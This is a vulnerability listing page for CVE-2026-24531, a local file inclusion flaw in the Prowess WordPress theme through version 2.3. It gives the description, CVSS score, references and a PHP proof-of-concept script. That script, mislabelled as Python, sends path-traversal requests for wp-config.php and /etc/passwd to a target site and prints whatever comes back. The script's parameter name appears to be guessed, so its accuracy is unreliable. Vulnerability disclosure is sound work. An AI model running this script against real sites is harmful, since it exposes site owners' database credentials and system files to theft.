CVE-2026-24531

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Prowess prowess allows PHP Local File Inclusion.This issue affects Prowess: from n/a through <= 2.3.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Prowess Theme <= 2.3

Prowess Theme from n/a through 2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2026-24531 PoC - Prowess Theme LFI
// Target: WordPress Prowess Theme <= 2.3

$target = 'http://target-site.com/';
$theme_path = '/wp-content/themes/prowess/';

// Read sensitive files
$files = array(
    '../../../wp-config.php',
    '../../../wp-config.php?param=/etc/passwd',
    '/etc/passwd',
    '../../../etc/passwd',
    '../wp-config.php'
);

echo "CVE-2026-24531 LFI PoC\n";
echo "Target: $target\n\n";

foreach ($files as $file) {
    echo "Testing: $file\n";
    $url = $target . $theme_path . '?file=' . urlencode($file);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, '<?php') !== false) {
        echo "[+] VULNERABLE! Found: $file\n";
        echo "Content preview:\n" . substr($response, 0, 500) . "\n\n";
    }
}

// Example HTTP Request:
// GET /wp-content/themes/prowess/?file=../../../wp-config.php HTTP/1.1
// Host: target-site.com
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24531
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24531
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24531/
[4] VulDB https://vuldb.com/cve/CVE-2026-24531
[5] https://patchstack.com/database/Wordpress/Theme/prowess/vulnerability/wordpress-prowess-theme-2-3-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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